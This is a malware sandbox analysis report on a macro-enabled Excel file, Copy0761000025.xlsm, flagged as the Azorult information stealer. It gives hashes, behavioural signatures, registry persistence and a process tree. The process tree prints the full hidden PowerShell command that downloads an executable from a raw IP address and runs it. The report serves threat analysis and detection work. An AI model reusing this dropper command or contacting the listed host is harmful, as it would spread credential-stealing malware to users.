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Resubmissions
11/06/2024, 09:20
240611-la58ha1hnf 1011/06/2024, 09:18
240611-k9pt5a1hke 1031/05/2024, 08:15
240531-j5p4nach79 10Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
31/05/2024, 08:15
Behavioral task
behavioral1
Sample
Copy0761000025.xlsm
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
Copy0761000025.xlsm
Resource
win10v2004-20240426-en
General
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Target
Copy0761000025.xlsm
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Size
430KB
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MD5
d01710a02c214a5f6e0197fd291c0b10
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SHA1
3b2ed35df644d1684660543c56370dc8686e1a53
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SHA256
b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d
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SHA512
45abdcf42ec483103948e2882bd8187e98ae44af425bdad5f0b1f17b99b336e80acc322c419fdab5cbc8f601993359a0e383c14927a286200c70c1044850e9e5
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SSDEEP
12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UM:7VwarmMSAGMID1R5OtM
Malware Config
Signatures
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Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2152 3964 powershell.exe 81 -
Blocklisted process makes network request 1 IoCs
flow pid Process 21 2152 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2152 powershell.exe 2152 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
pid Process 736 tmp4788.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Findo = "C:\\Users\\Admin\\AppData\\Roaming\\Findo.exe" tmp4788.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 736 set thread context of 3744 736 tmp4788.exe 96 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3964 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2152 powershell.exe 2152 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2152 powershell.exe Token: SeDebugPrivilege 736 tmp4788.exe Token: SeDebugPrivilege 736 tmp4788.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE 3964 EXCEL.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3964 wrote to memory of 2152 3964 EXCEL.EXE 86 PID 3964 wrote to memory of 2152 3964 EXCEL.EXE 86 PID 2152 wrote to memory of 736 2152 powershell.exe 91 PID 2152 wrote to memory of 736 2152 powershell.exe 91 PID 2152 wrote to memory of 736 2152 powershell.exe 91 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96 PID 736 wrote to memory of 3744 736 tmp4788.exe 96
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Users\Admin\AppData\Local\Temp\tmp4788.exe"C:\Users\Admin\AppData\Local\Temp\tmp4788.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:736 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:3744
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
195KB
MD50089e341efa862f22d3af9894d1c5448
SHA14d55c851eccec68786c88b064bcf35c1233393f3
SHA256bfc1cdded42adb884fb46ba53e2f023d0c27d46cf8645614094f5714ebbfb9a8
SHA512ea2c3b6cd6759b11017c58f7948d04fbafc96474190ca2162ff2486dddcd4fc83074ffd055a3367bb783475787cecb6401248344eb0cec787ef7b5dd7fb96ad4